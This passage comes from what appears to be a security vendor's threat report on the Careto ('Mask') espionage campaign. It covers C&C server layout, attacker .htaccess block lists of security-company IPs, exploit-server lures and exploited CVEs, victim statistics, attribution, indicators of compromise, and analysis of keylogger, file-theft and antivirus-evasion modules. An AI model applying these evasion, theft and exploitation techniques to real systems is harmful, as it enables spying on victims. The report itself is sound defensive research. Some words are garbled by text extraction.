\xef\x82\xb7 CGI-BIN Folder: /cgi-bin commcgi.cgi < C&C module file.cgi < tool used by the attackers to retrieve logs index.cgi < C&C module kitkat.cgi < same file as index.cgi main.cgi < same file as index.cgi /ClientsDirectory < used to store victim\xe2\x80\x99 information /ClientsDirectory log.txt < debug logfile with victim\xe2\x80\x99 requests /dataang < empty /CmdData < empty /data < empty /fb < empty /bkp < Co ld e o fo \xe2\x80\x9c ck p\xe2\x80\x9d. Seve l small old logfiles /in < probably inbox folder for stolen files /img < encrypted files with .gif extension 31 TLP: GREEN In the case of the \xe2\x80\x9c/in\xe2\x80\x9d folder, we can find many encrypted small files with the same size (512 bytes) and the following naming schema: in.instVICTIMID.cmd000X.get000Y Apparently these files are the result of executing the command X in VICTIMID. Small packets with the same size mean that the communication is fragmented, probably Y represents the packet sequence. VICTIMID is always a 16 digit number. In the case of the /img folder, all files are encrypted data files of 929 bytes. The format is: VICTIMID.000N.gif or VICTIMID.000N.000X These are chunks of stolen data for a given VICTIMID, X being the sequence number and N the file identifier. The files in the second format don\xc2\xb4t have the same size, reinforcing the hypothesis of last file\xe2\x80\x99s chunk of data. \xef\x82\xb7 Secure Folder: /Secure getlogs.php Parses log files from apache and copies content into /usr/local/share/messages/log. Securely deletes the original log files using the \xe2\x80\x9c ed \xe2\x80\x93z\xe2\x80\x9d comm nd. module.php Allows to upload, delete and move modules into var/www/html test.php A \xe2\x80\x9cHello wo ld\xe2\x80\x9d ppl c on upload.php Uploads file into /usr/local/share/messages/authdata/auth Additionally a Perl script (launchMessages.pl) inside \xe2\x80\x9c/usr/local/share/messages\xe2\x80\x9d is used for the users to communicate between them. The script copies messages from one user to the receiver using the data in the /home/user/auth subdirectory, in the format $adfile, $login $passwd $auth $secure $port\\n. 32 TLP: GREEN Finally, we observe interesting data inside \xe2\x80\x9c.htaccess\xe2\x80\x9d files. Clearly the attackers wanted to keep their infrastructure hidden from undesired visitors. For this, they blacklisted a number of IPs used by security researchers. Some of these IPs include comments about the owners against the Careto attackers want to hide. Notably, Kaspersky Lab IPs are included in the list. /var/www/cgi-bin/.htaccess: deny from 72.52.91.30 < Hurricane Electric, Inc. deny from 217.115.10.132 < Chaos Computer Club e.V. deny from 213.61.149.100 < SOPRADO GmbH deny from 62.213.110.0/26 < Kaspersky Lab deny from 23.20.44.92 < Amazon.com deny from 38.105.71.0/24 < Cyveillance Inc deny from 66.150.14.0/24 < Internap Network Services deny from 150.70.0.0/16 < TrendMicro deny from 194.72.238.0/24 < Netcraft Ltd # evuln.com deny from 78.158.11.0/24 < evuln.com # cambridge computer laboratory deny from 128.232.0.0/16 < cambridge computer laboratory # softlayer deny from 174.36.0.0/15 < softlayer deny from 174.122.254.42 < softlayer # seguran\xc3\xa7a virtua deny from 187.122.176.14 < seguran\xc3\xa7a virtua # worldstream deny from 217.23.0.0/24 < worldstream # bluecoat deny from 8.28.16.254 < bluecoat deny from 103.246.38.0/24 < bluecoat deny from 199.19.248.0/21 < bluecoat deny from 199.91.132.0/22 < bluecoat # eset deny from 195.168.53.0/24 < eset A second .htaccess file was found in the home folder of the only user in the system. #order deny,allow Order allow,deny deny from 23.20.44.92 < Amazon EC2 deny from 38.105.71.0/24 < Cyveillance Inc deny from 66.150.14.0/24 < Internap Network Services deny from 150.70.0.0/16 < TRENDMICRO deny from 194.72.238.0/24 < Netcraft Ltd deny from 78.158.11.0/24 < evuln.com deny from 128.232.0.0/16 < cambridge computer laboratory deny from 174.36.0.0/15 < softlayer deny from 174.122.254.42 < softlayer deny from 187.122.176.14 < seguran\xc3\xa7a virtua deny from 217.23.0.0/24 < worldstream deny from 8.28.16.254 < bluecoat 33 TLP: GREEN deny from 103.246.38.0/24 < bluecoat deny from 199.19.248.0/21 < bluecoat deny from 199.91.132.0/22 < bluecoat deny from 195.168.53.0/24 < eset allow from all # Workaround for Apache Killer # http://seclists.org/fulldisclosure/2011/Aug/241 RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC] RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\\s*,\\s*[0-9]*-[0-9]*)+ [OR] RewriteCond %{HTTP:Request-Range} ([0-9]*-[0-9]*)(\\s*,\\s*[0-9]*-[0-9]*)+ RewriteRule .* - [F] These files demonstrate the attackers are carefully protecting their infrastructure and try to avoid any monitoring attempts from security companies, including Kaspersky Lab and ESET. Command and control domains registration can be accessed in APPENDIX 3. 34 TLP: GREEN 2.7. Exploits The spear phishing attacks we have observed lured the victims into URLs with resources in Spanish, such as videos related to political subjects or even food recipes (\xe2\x80\x9crecetas\xe2\x80\x9d). All the e-mails include a link to the malicious server that was used for infecting the victim. After the infection, the visitor was redirected to another, clean URL. The following links have been observed in the attacks: \xef\x82\xb7 hxxp://bit.linkconf[dot]net/jupd/w/frame-index.htm?url=hxxp://bit.ly/{censored} \xef\x82\xb7 hxxp://bit.linkconf[dot]net/jm/frame-redirect.htm?url=hxxp://bit.ly/{censored} \xef\x82\xb7 hxxp://www.recetas.linkconf[dot]net/jupd/w/frame- index.htm?url=hxxp://www.recetas.net/receta.asp?ID=1208GL The exploit pack was hosted on a server at \xe2\x80\x9clinkconf [dot] net\xe2\x80\x9d. We have found many subdomains pretending to be newspapers, perfect for the spear phishing attacks. Most of them simulate spanish newspapers: \xe2\x97\x8f negocios.iprofesional.linkconf[dot]net/ \xe2\x97\x8f www.internacional.elpais.linkconf[dot]net/ \xe2\x97\x8f politica.elpais.linkconf[dot]net/ \xe2\x97\x8f cultura.elpais.linkconf[dot]net/ \xe2\x97\x8f economia.elpais.linkconf[dot]net/ \xe2\x97\x8f test.linkconf[dot]net/ \xe2\x97\x8f soc.linkconf[dot]net/ \xe2\x97\x8f sociedad.elpais.linkconf[dot]net/ \xe2\x97\x8f world.time.linkconf[dot]net/ \xe2\x97\x8f internacional.elpais.linkconf[dot]net/ \xe2\x97\x8f elpais.linkconf[dot]net/ \xe2\x97\x8f www.elespectador.linkconf[dot]net/ \xe2\x97\x8f blogs.independent.linkconf[dot]net/ \xe2\x97\x8f www.elmundo.linkconf[dot]net/ \xe2\x97\x8f www.guardian.linkconf[dot]net/ \xe2\x97\x8f www.washingtonsblog.linkconf[dot]net/ \xe2\x97\x8f www.publico.linkconf[dot]net/ The server has the typical structure of an exploit server including Javascript code for profiling the victim (browser, plugins, operating system, MS-Office version, etc). The attack is designed to handle all possible cases and potential victim types. Depending on the operating system, browser and installed plugins, the user is redirected to different subdirectories, which contain specific exploits for the user\xe2\x80\x99s configuration that are most likely to work. 35 TLP: GREEN Unfortunately, we couldn\xe2\x80\x99t obtain any of the observed live exploits from the server as the attack URLs were removed, presumably after a successful hit on the victims. We did find however older exploits in various folder names. Overall, we have found exploits for Java, SWF (CVE-2012-0773), as well as malicious plugins for Chrome and Firefox, on Windows, Linux and OS X. The names of the subdirectories give some information about the kind of attack they launch, for instance we can find \xe2\x80\x9c/jupd\xe2\x80\x9d where \xe2\x80\x9cJavaUpdate.jar\xe2\x80\x9d downloads and executes \xe2\x80\x9cjavaupdt.exe\xe2\x80\x9d. Several attacks against browsers supporting Java have been observed. Unfortunately, we weren\xe2\x80\x99t able to retrieve all the components from these attacks, as they were no longer available on the server at the time of checking. The first known method (\xe2\x80\x9c\xe2\x80\x9d/jr/\xe2\x80\x9d folder) uses an HTML (\xe2\x80\x9cframe-index.htm\xe2\x80\x9d) file that attempts to load and run a signed applet. Figure 11: JavaUpdate.jar File name: JavaUpdate.jar MD5: da1ad4e088ba921c0420428b1f73d5ca File size: 273639 bytes The JavaUpdate.jar contains an exploit for CVE-2011-3544, a vulnerability in the Java Runtime Environment (JRE) component in Oracle JAVA SE JDK and JRE 7, 6 Update 27 and earlier. Both the Java archive and the malicious Windows payload code appears to have been compiled on Nov 7, 2013. 36 TLP: GREEN Archive: JavaUpdate.jar Name Length Method Size Ratio Date Time CRC 32 META-INF/MANIFEST.MF META-INF/ORACLE.SF META-INF/ORACLE.DSA META-INF/ META-INF/ applet.properties icon.jpg javaupdt com/ com/java/ com/java/ UpdateAbstract.class com/java/ WindowsUpdate.class com/java/ Update.class 620 782 922 0 37 278329 19784 0 0 1914 2825 1221 Defl:N Defl:N Defl:N Defl:N Defl:N Defl:N Defl:N Stored Stored Defl:N Defl:N Defl:N 400 494 774 2 36 2574 83 0 0 1079 1555 735 36% 37% 16% 0% 3% 8% 49% 0% 0% 44% 45% 40% 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 11-08-13 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 08:57 8ded95ba a50eb589 1adab24b 00000000 bfd6b431 fd085c57 58d365de 00000000 00000000 3e6f4e02 372c40f3 0c3ad05f The exploit\xe2\x80\x99s Windows payload: File name: javaupdt Type: Windows PE executable MD5: 302fd970cf413afe50e6a829386e6e43 File size: 19784 bytes The \xe2\x80\x9cjavaupdt\xe2\x80\x9d executable decrypts and runs the main backdoor installer from a file named \xe2\x80\x9cicon.jpg\xe2\x80\x9d in the Java archive. The installer is encrypted with a 12 bytes XOR key. Interestingly, the exploit payload is compiled with GCC, unlike other modules where the attackers used MSVC 2005. The second attack against Java users leverages Java Web Start / JNLP - Java Network Launch Protocol files. It claims to be a Java update from Oracle and asks the user to install it. The spearphished URLs reference \xe2\x80\x9chttp://linkconf[dot]net/jn/w/file.jnlp\xe2\x80\x9d. 37 TLP: GREEN Figure 12: Java Update The \xe2\x80\x9cindex.jnlp\xe2\x80\x9d has the following content: Figure 13: Index jnlp Its main function is to load \xe2\x80\x9cJavaUpdate.jar\xe2\x80\x9d, which contains a signed dropper that installs the SGH implant into the system. A Java version profiler which loads another JAR file named \xe2\x80\x9csSunJavaRealTimeSystem.jar\xe2\x80\x9d was also found on the server, in a folder named \xe2\x80\x9cm\xe2\x80\x9d that might suggest it was used for OS X visitors, considering the attacker\xe2\x80\x99s folder naming scheme. Name Length Method Size Ratio Date Time CRC 32 com/ 0 Stored 0 0% 10-07-13 16:20 00000000 com/java/ com/java/ Update.class 0 400 Stored Def1:N 0 281 0% 0% 10-07-13 10-07-13 16:20 16:20 00000000 3f8cb4bf This class simply prints a message which says \xe2\x80\x9cUpdated!\xe2\x80\x9d. 38 TLP: GREEN The other observed attack methods relies on a Flash Player exploit. CVE-2012-0773 has an interesting history. It was originally discovered by French company VUPEN and used to win the \xe2\x80\x9cpwn2own\xe2\x80\x9d contest in 2012. This was the first known exploit to escape the Chrome sandbox. VUPEN refused to share the exploit with the contest organizers, claiming that it plans to sell it to its customers. As a side node, VUPEN exploits are commonly seen in high end nation state level attacks; for instance we have commonly observed them with HackingTeam\xe2\x80\x99s DaVinci / Remote Control System attacks. Figure 14: CVE-2012-0773 staging script 39 TLP: GREEN Figure 15: Heapspray class inside the action script The SWF exploit for CVE-2012-0773 appears to have been fine-tuned for Flash Player versions 10.3.x. Although these have become obsolete (current version is 12.0.0.38), there is no point in implementing / showcasing such a complex exploit unless the attackers were leveraging it around the time it was discovered. It is also possible that the exploit was still on the server because some users still have old Flash Player versions, and for those, it\xe2\x80\x99s a perfectly good attack method. We believe \xe2\x80\x9c/m\xe2\x80\x9d subdirs are for Mac users, and the \xe2\x80\x9c/l\xe2\x80\x9d subdirs for Linux. In these we have found traces of Firefox plugins, but unfortunately they were broken. Linux plugin: Archive: af_l_addon.xpi Name Length Method Size Ratio Date Time CRC 32 chrome.manifest 183 Defl:N 101 45% 10-07-13 14:30 cc37d585 install.rdf 1274 Defl:N 443 65% 10-07-13 14:30 add50a10 bootstrap.js 1798 Defl:N 695 61% 10-07-13 14:30 52eecaba content/browser.xul 166 Defl:N 134 19% 10-07-13 14:30 74e9bad7 content/icon.png 66793 Defl:N 66664 0% 10-07-13 14:30 27609d6e plugins/sbd-linux 26020 Defl:N 22406 14% 10-07-13 14:30 a02b2e21 40 TLP: GREEN Mac / OSX plugin: Archive: af_m_addon.xpi Name Length Method Size Ratio Date Time CRC 32 chrome.manifest 183 Defl:N 102 44% 10-07-13 14:30 aeac29ae install.rdf 1274 Defl:N 443 65% 10-07-13 14:30 f5ee7026 bootstrap.js 1796 Defl:N 695 61% 10-07-13 14:30 d5fc6c9b content/browser.xul 166 Defl:N 134 19% 10-07-13 14:30 74e9bad7 content/icon.png 66793 Defl:N 66664 0% 10-07-13 14:30 27609d6e plugins/sbd-mac 42720 Defl:N 37072 13% 10-07-13 14:30 12d19684 Both attack plugins appear to have been compiled on October 7, 2013. Samples of a malicious Chrome (Win32) plugin have also been located in the \xe2\x80\x9c/ag\xe2\x80\x9d folder: File name: plugin.crx MD5: 1f40751f3db07f88c2ffe95b6a5fde86 File size: 256596 bytes The malicious Chrome plugin has the following structure: Name Length Method Size Ratio Date Time CRC 32 content/ 0 Defl:N 2 0% 00-00-80 00:00 00000000 manifest.json 305 Defl:N 165 46% 00-00-80 00:00 b500a493 plugins/ 0 Defl:N 2 0% 00-00-80 00:00 d5fc6c9b plugins/ npplugin.dll 16384 Defl:N 7358 55% 00-00-80 00:00 3bd3e8bb content/icon.jpg 266948 Defl:N 245924 8% 00-00-80 00:00 b07ab7ee content/icon.png 2184 Defl:N 2189 0% 00-00-80 00:00 276fc4e2 The plugin is loaded via Javascript from the HTML index via a file named \xe2\x80\x9cplugin.js\xe2\x80\x9d: 41 TLP: GREEN Figure 16: Loading plugin The \xe2\x80\x9cplugin.js\xe2\x80\x9d has the following content: Figure 17: Plugin.js When an unsuspecting user visits the page with Google Chrome, they get a warning indicating that \xe2\x80\x9cExtensions, Apps and Themes\xe2\x80\x9d can harm their computer: Figure 18: Chrome warning 42 TLP: GREEN The user has to choose \xe2\x80\x9cContinue\xe2\x80\x9d in order to activate the malicious plugin. The plugin installation from the exploit site works for Chrome versions prior to 21, which was released in Mid-2012. The \xe2\x80\x9cnpplugin.dll\xe2\x80\x9d acts as a loader for the main malware installer, which is encoded / obfuscated in \xe2\x80\x9ccontent/icon.jpg\xe2\x80\x9d. Its compilation timestamp is Thu Nov 07 11:00:03 2013. File name: npplugin.dll MD5: 3299415710a29ffb55e53044fc191450 File size: 16384 bytes All the exploits on the server work with multi-component artifacts, some of them disguised into \xe2\x80\x9c.jpg\xe2\x80\x9d files. Also, the communication to javascript functions is through cookies (\xe2\x80\x9cend_cookie_18a27\xe2\x80\x9d), a quite unusual method. 43 TLP: GREEN 2.8. Victims During the investigation we were able to sinkhole some of the C&C servers. All sinkholed domains have been redirected to the Kaspersky Sinkhole server. This provided detailed information regarding the location of the victims. Additionally, some of the Command and control servers maintain a debug log which includes information about the victims such as IPs and timestamps. This debug log file is stored in a folder named \xe2\x80\x9cClientsDirectory\xe2\x80\x9d and is named \xe2\x80\x9clog.txt\xe2\x80\x9d. By collecting \xe2\x80\x9clog.txt\xe2\x80\x9d files from various Careto C&C servers, it was possible to make a more detailed map of the IPs for victims of these attacks. Figure 19: Victims\xe2\x80\x99 IPs by country In total, we observed over 1,000 victims\xe2\x80\x99 IPs in 31 countries. We have also found traces of at least 380 different victim\xc2\xb4s IDs according to attackers\xc2\xb4 naming schema both in logs and sinkholed requests. The following charts correspond only to sinkholed data and ignores the historical one retrieved in log files. This data is fresher, showing the current interest of the attackers. 44 TLP: GREEN The first chart shows the geographical distribution of the victim\xc2\xb4s IDs: Figure 20: Geographical distribution by unique ID \xe2\x80\x93 sinkholed data In this case there is a clear outlier. The reason is that there is a big cluster of victims in Cuba corresponding to very few IP addresses, all belonging to the same institution. The followin chart provides the geographical location of victim\xc2\xb4s IPs instead of Ids using only sinkholed data: Figure 21: Geographical distribution by victims' IPs - sinkholed data In this chart we see the opposite effect than in the previous one, in this case with Venezuela, where few victims use multiple IPs. 45 TLP: GREEN Spain, France and Morocco are the only countries appearing in the top 5 in all cases. The main targets of Careto fall into the following categories: \xe2\x97\x8f Government institutions \xe2\x97\x8f Diplomatic / embassies \xe2\x97\x8f Energy, oil and gas companies \xe2\x97\x8f Research \xe2\x97\x8f Private equity firma \xe2\x97\x8f Activists 46 TLP: GREEN 3. Attribution Different malware components include language artifacts from the authors, suggesting they are proficient in the Spanish language. Some slang words used would be very uncommon in a non native Spanish speaker. For instance, the \xe2\x80\x9cappleupdt[dot]com\xe2\x80\x9d C&C domain has been registered by one \xe2\x80\x9cVictoria Gomez\xe2\x80\x9d from Argentina. The registration data appears fake, though. Spanish language artifacts include: \xef\x82\xb7 ""Careto - GetSystemReport v1.0"" - in the ""waiter32/64"" module \xef\x82\xb7 ""Unistalling Careto"" - in the CDlUninstallSGH32 module \xe2\x80\x9cCareto\xe2\x80\x9d is a Spanish slang word for \xe2\x80\x9cface\xe2\x80\x9d. \xef\x82\xb7 ""Caguen1aMar"" - an RC4 encryption key stored in the configuration data. Used for all communications with the command and control servers. This would be the contraction of \xe2\x80\x9cMe cago en la mar\xe2\x80\x9d, a Spanish expression meaning \xe2\x80\x9cfuck\xe2\x80\x9d. \xef\x82\xb7 ""Accept-Language: es Accept-Encoding: gzip"" - in the configuration data The authors did a number of mistakes as well. For instance, they forgot debug information in a SGHTesterCmd module which contains a path on the developer\xe2\x80\x99s machine: \xef\x82\xb7 c:\\Dev\\CaretoPruebas3.0\\release32\\CDllUninstall32.pdb \xe2\x80\x9cPruebas\xe2\x80\x9d means \xe2\x80\x9ctests\xe2\x80\x9d in Spanish. Also there are some small mistakes in some English comments: //Attempt to move the uploaded file to it's new place Unistalling Careto Uinstalling SGH In the exploiting server we have found most of the subdomains simulating newspapers from Spain. It should be noted that Spanish is spoken in 21 countries, where it is either a national language or de facto official language. We should also not exclude the possibility of a false flag operation, where the attackers intentionally planted Spanish words in order to confuse analysis. 47 TLP: GREEN 4. Conclusions With Careto, we describe yet another sophisticated cyberespionage operation that has been going on undiscovered for more than 5 years. In terms of sophisticated, we put Careto above Duqu, Gauss, RedOctober or Icefog, making it one of the most complex APT we observed. For Careto, we observed a very high degree of professionalism in the operational procedures of the group behind this attack, including monitoring of their infrastructure, shutdown of the operation, avoiding curious eyes through access rules, using wiping instead of deletion for log files and so on. This is not very common in APT operations, putting the Mask into the \xe2\x80\x9celite\xe2\x80\x9d APT groups section. The attacks rely on a combination of social engineering, for instance impersonating websites from The Guardian and Washington Post. These are coupled with at least one exploit that according to media report has been sold to governments as a 0-day by French company VUPEN. The targeting of Linux and Mac users by the attackers indicates another important trend in the world of APTs. We previously observed this and described it with Icefog; we can now say with a good degree of confidence that high end APT actors are now expanding their toolkits to include Linux and Mac \xe2\x80\x9csupport\xe2\x80\x9d. Also, there is evidence the attackers may have deployed Android and iOS backdoors as well. Unfortunately, we could not locate these samples yet nor do we know how they were implanted, especially considering iOS\xe2\x80\x99 security model. The fact that the Careto attackers appear to be speaking the Spanish language is perhaps the most unusual feature. While most of the known attacks nowadays are filled with Chinese comments, languages such as German, French or Spanish appear very rarely in APT attacks. Special thanks We would like to thank OpenDNS for providing passive DNS information on the C&C domains used by the attackers and support with sinkholing. 48 TLP: GREEN APPENDIX 1: Indicators of compromise Filenames: %system%\\objframe.dll %system%\\shlink32.dll %system%\\shlink64.dll cdllait32.dll cdllait64.dll cdlluninstallws32.dll cdlluninstallws64.dll cdlluninstallsgh32.dll cdlluninstallsgh64.dll %system%\\c_50225.nls %system%\\c_50227.nls %system%\\c_50229.nls %system%\\c_51932.nls %system%\\c_51936.nls %system%\\c_51949.nls %system%\\c_51950.nls %system%\\c_57002.nls %system%\\c_57006.nls %system%\\c_57008.nls %system%\\c_57010.nls %system%\\cdgext32.dll %system%\\cfgbkmgrs.dll %system%\\cfgmgr64.dll %system%\\comsvrpcs.dll %system%\\d3dx8_20.dll %system%\\dllcomm.dll %system%\\drivers\\wmimgr.sys %system%\\drvinfo.bin %system%\\FCache.bin %system%\\FFExtendedCommand.dll %system%\\gpktcsp32.dll %system%\\HPQueue.bin %system%\\LPQueue.bin %system%\\mdwmnsp.dll %system%\\rpcdist.dll %system%\\scsvrft.dll %system%\\sdptbw.dll %system%\\slbkbw.dll %system%\\skypeie6plugin.dll %system%\\wmspdmgr.dll %temp%\\~DF01AC74D8BE15EE01.tmp %temp%\\~DF23BF45A473C42B56.tmp %temp%\\~DFA0528CD81300F372.tmp %temp%\\~DF8471938479DA49221.tmp 49 TLP: GREEN %appdata%\\microsoft\\c_27803.nls %appdata%\\microsoft\\objframe.dll %appdata%\\microsoft\\shmgr.dll Registry keys: [HKLM\\Software\\Classes\\CLSID\\{E6BB64BE-0618-4353-9193- 0AFE606D6F0C}\\InprocServer32] C&C and exploit staging server IPs: 190.10.9.209 190.105.232.46 196.40.84.94 200.122.160.25 202.150.211.102 202.150.214.50 202.75.56.123 202.75.56.231 202.75.58.153 210.48.153.236 223.25.232.161 37.235.63.127 75.126.146.114 81.0.233.15 82.208.40.11 62.149.227.3 75.126.146.114 Domains and hostnames: nthost.shacknet.nu tunga.homedns.org prosoccer1.dyndns.info prosoccer2.dyndns.info nav1002.ath.cx pininfarina.dynalias.com wqq.dyndns.org pl400.dyndns.org services.serveftp.org sv.serveftp.org cherry1962.dyndns.org carrus.gotdns.com ricush.ath.cx takami.podzone.net dfup.selfip.org wwnav.selfip.net fast8.homeftp.org 50 TLP: GREEN ctronlinenews.dyndns.tv mango66.dyndns.org gx5639.dyndns.tv services.serveftp.org *.redirserver.net *.swupdt.com *.msupdt.com *.appleupdt.com *.linkconf.net 51 TLP: GREEN APPENDIX 2: SGH Modules \xe2\x80\x93 detailed analysis i) The \xe2\x80\x9cScsimap\xe2\x80\x9d driver This driver is started by the system automatically as a service. It is responsible for loading the rest of the malware's components and providing communication facilities between them. It acts as a framework that glues together all the parts of the malware. File type: Win32 driver Compilation timestamp: 2013.04.09 14:15:03 (GMT) File size: 14464 bytes Technical details The file was compiled using Microsoft Visual Studio 2003. The driver exports three functions that provide the API for the malware's kernel-mode components: 0001086C: IopQueryInterface 00010840: IopRegisterInterface 00010888: IopSetDeviceStatusChange Creates a device: \\Device\\{E07DB02C-387E-43b2-A6F2-C59B4934B7D6} Also creates a symbolic link to this device: \\DosDevices\\{E07DB02C-387E-43b2- A6F2-C59B4934B7D6} The \xe2\x80\x9cScsimap\xe2\x80\x9d driver loads other modules from \xe2\x80\x9c\\SystemRoot\\System32\\bootfont.bin\xe2\x80\x9d, which is an encrypted virtual file system. It decrypts it on the fly using RC4 and loads and executes all the additional modules which are present in that file. The module receives commands via DeviceIoControl function. It can be commanded to load a binary from the \xe2\x80\x9cbootfont.bin\xe2\x80\x9d file, to write a new \xe2\x80\x9cbootfont.bin\xe2\x80\x9d configuration, to return the contents of that file and overwrite its contents. A typical \xe2\x80\x9cbootfont.bin\xe2\x80\x9d virtual file system contains the following driver modules: Module config, 8272 bytes Module storage, 12240 bytes Module cipher, 7248 bytes Module cmprss, 2640 bytes Module loaddll, 14032 bytes Module PGPsdkDriver, 7504 bytes Module fileflt, 32080 bytes Module stopsec, 2768 bytes Module TdiFlt, 17616 bytes Module TdiFlt2, 18512 bytes 52 TLP: GREEN The modules interact with each other by exporting and importing function pointers. Each function is identified by a numeric value. The module that provides the function first calls the function \xe2\x80\x9cIopRegisterInterface\xe2\x80\x9d exported by \xe2\x80\x9cscsimap\xe2\x80\x9d, and the consumer function can request the function pointer by calling the function IopQueryInterface with a proper function number. ii) Config module This modules operates the SGH's unified configuration data that is used by all other components. Exports the following functions: 0x00 ReadConfig 0x01 WriteConfig The data is stored in the registry key: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\scsimap\\Params, Value The configuration block is encrypted with a hardcoded key using the RC4 algorithm. iii) Storage module This module maintains two storage files: \\SystemRoot\\System32\\c_50229.nls \\SystemRoot\\System32\\c_50227.nls The module receives information collected by other modules and stores them in a system activity log. Entries in the activity log are prepended with timestamps and text labels (see below). These label correspond to internal and system events, i.e. writing collected information to a file, starting a new process, etc. Exported functions: 0x08 Store a log entry with a label \xe2\x80\x9cGET\xe2\x80\x9d 0x09 Store a log entry with a label \xe2\x80\x9cDEL\xe2\x80\x9d 0x0A Store a log entry with a label \xe2\x80\x9cPUT\xe2\x80\x9d (new data collected) 0x0B Create an additional activity log file \\SystemRoot\\System32\\~{7 hex digits}.tmp 0x0C Not implemented 53 TLP: GREEN 0x0D Not implemented 0x0E Not implemented 0x0F Not implemented 0x15 Get internal storage state 0x16 Get internal storage state 0x18 Get internal storage state 0x19 Store a log entry with a label \xe2\x80\x9cPURGE\xe2\x80\x9d 0x1F Store a log entry with a label \xe2\x80\x9cSTART\xe2\x80\x9d (system startup) 0x20 Store a log entry with a label \xe2\x80\x9cSTOP\xe2\x80\x9d (system shutdown) iv) Storage module This module maintains two storage files: \\SystemRoot\\System32\\c_50229.nls \\SystemRoot\\System32\\c_50227.nls The module receives information collected by other modules and stores them in a system activity log. Entries in the activity log are prepended with timestamps and text labels (see below). These label correspond to internal and system events, i.e. writing collected information to a file, starting a new process, etc. Exported functions: 0x08 Store a log entry with a label \xe2\x80\x9cGET\xe2\x80\x9d 0x09 Store a log entry with a label \xe2\x80\x9cDEL\xe2\x80\x9d 0x0A Store a log entry with a label \xe2\x80\x9cPUT\xe2\x80\x9d (new data collected) 0x0B Create an additional activity log file \\SystemRoot\\System32\\~{7 hex digits}.tmp 0x0C Not implemented 0x0D Not implemented 0x0E Not implemented 0x0F Not implemented 0x15 Get internal storage state 0x16 Get internal storage state 0x18 Get internal storage state 0x19 Store a log entry with a label \xe2\x80\x9cPURGE\xe2\x80\x9d 0x1F Store a log entry with a label \xe2\x80\x9cSTART\xe2\x80\x9d (system startup) 0x20 Store a log entry with a label \xe2\x80\x9cSTOP\xe2\x80\x9d (system shutdown) 54 TLP: GREEN v) Cipher module Provides cryptographic functions for other modules. Exported functions: 0x10 Encrypt data with AES-128 0x11 Encrypt data with AES-128 0x12 Encrypt data with RC4 0x13 Encrypt data with RC4 vi) Cmprss module Provides compression functions for other modules. Exported functions: 0x1A Compress data with LZNT1 using the system RtlCompressBuffer function. 0x1B Decompress data with LZNT1 using the system RtlDecompressBuffer function. vii) LoadDll module Registers handler function for process-creation and image-load events. The module reads the list of DLL loading rules from the configuration block and checks them when a new process is created or a module is loaded. These rules specify the location of the DLL to be injected and the list of target process names to inject. An example list of rules follows. DLL: System32\\vchw9x.dll targets: IEXPLORE.EXE:FIREFOX.EXE:MOZILLA.EXE:OPERA.EXE:NETSCAPE.EXE:EMULE.E XE:CHROME.EXE DLL: none targets: @1:*SVCHOST.EXE DLL: System32\\awcodc32.dll targets: EXPLORER.EXE DLL: System32\\SkypeIE6Plugin.dll targets: SKYPE.EXE DLL: System32\\nmwcdlog.dll targets: PCSUITE.EXE:NOKIAOVISUITE.EXE DLL: System32\\awview32.dll targets: OUTLOOK.EXE Exported functions: 0x05 Update the list of DLL loading rules in the configuration block 55 TLP: GREEN viii) PGPsdkDriver module This module is a kernel mode keylogger. It accesses the \xe2\x80\x9c\\Driver\\Kbdclass\xe2\x80\x9d object and intercepts the IRP_MJ_READ and IRP_MJ_PNP request handlers. On IRP_MJ_READ requests, it reports information about pressed keys as custom activity records named \xe2\x80\x9cKEYS\xe2\x80\x9d ix) Fileflt module Intercepts file operations and collects information and their content if they match the filtration rules. Maintains the file activity log file: \xe2\x80\x9c\\SystemRoot\\System32\\c_50225.nls\xe2\x80\x9d Sample filtration rules follow: File mask: \\ *.PAB;*.WAB File mask: \\ *.WRD File mask: \\ *.SKR;*.PKR;*.PGP;*.GPG;*.KEY;*.PPK;*.RDP;*.ASC File mask: \\ *.DOC;*.XLS;*.RTF File mask: \\ *.PDF File mask: \\ *.DOCX;*.XLSX;*.WPS;*.ODT;*.WPD File mask: \\ *.GMG File mask: \\ *.AXX;*.CFE;*.CFD;*.AKF File mask: \\ *.ENC;*.MLS;*.HSE;*.P7M;*.P7C;*.P7Z File mask: \\ *.OCFS;*.M2O;*.M2R;M2F;*.M15;*.OCU File mask: \\ *.VSD;*.OVPN;*.SSH;*.CRT File mask: \\ *.SXW;*.SDW;*.PSW;*.ODS;*.SXC;*.SDC;*.PXL File mask: \\ *.MDDATA File mask: \\ *.EML File mask: *\\WINNT\\ *.* File mask: *\\WINDOWS\\ *.* File mask: *\\PROGRAM FILES\\ *.DOC;*.XLS;*.PDF;*.RTF File mask: *\\PROGRAM FILES\\ *.DOCX;*.XLSX;*.WPS;*.ODT;*.WPD File mask: *\\PROGRAM FILES\\ *.SXW;*.SDW;*.PSW;*.ODS;*.SXC;*.SDC;*.PXL File mask: *\\HARDDISKVOLUMESHADOWCOPY *.* File mask: *\\ARCHIVOS DE PROGRAMA\\ *.DOC;*.XLS;*.PDF;*.RTF File mask: *\\ARCHIVOS DE PROGRAMA\\ *.DOCX;*.XLSX;*.WPS;*.ODT;*.WPD File mask: *\\ARCHIVOS DE PROGRAMA\\ *.SXW;*.SDW;*.PSW;*.ODS;*.SXC;*.SDC;*.PXL Exported functions: 0x14 Update the file filtration rules 0x1E Append the activity log with a new data record 0x21 Append the activity log with a new data record 56 TLP: GREEN x) Stopsec module Interacts with the driver of Kaspersky products (\xe2\x80\x9cKLIF\xe2\x80\x9d) and tries to make own processes invisible to the anti-virus. Exported functions: 0x1C Try to make the process with given PID invisible to Kaspersky Anti-Virus 0x1D Not implemented, only checks input parameters xi) TdiFlt and TdiFlt2 modules These modules provide facilities for intercepting network traffic. The \xe2\x80\x9cTdiFlt\xe2\x80\x9d driver uses the IPFILTER driver while the \xe2\x80\x9cTdiFlt2\xe2\x80\x9d uses the Windows Filtering Platform API. Exported functions: 0x17 Return a pointer to the instance of the main class that manages the driver Although main components of the SGH package operate in kernel mode, there are several components injected as DLLs in user mode. It is worth noting that we have only discovered a 32-bit version of the driver components while the DLL modules have corresponding 64-bit counterparts. xii) awdcxc32 module This library is injected into the 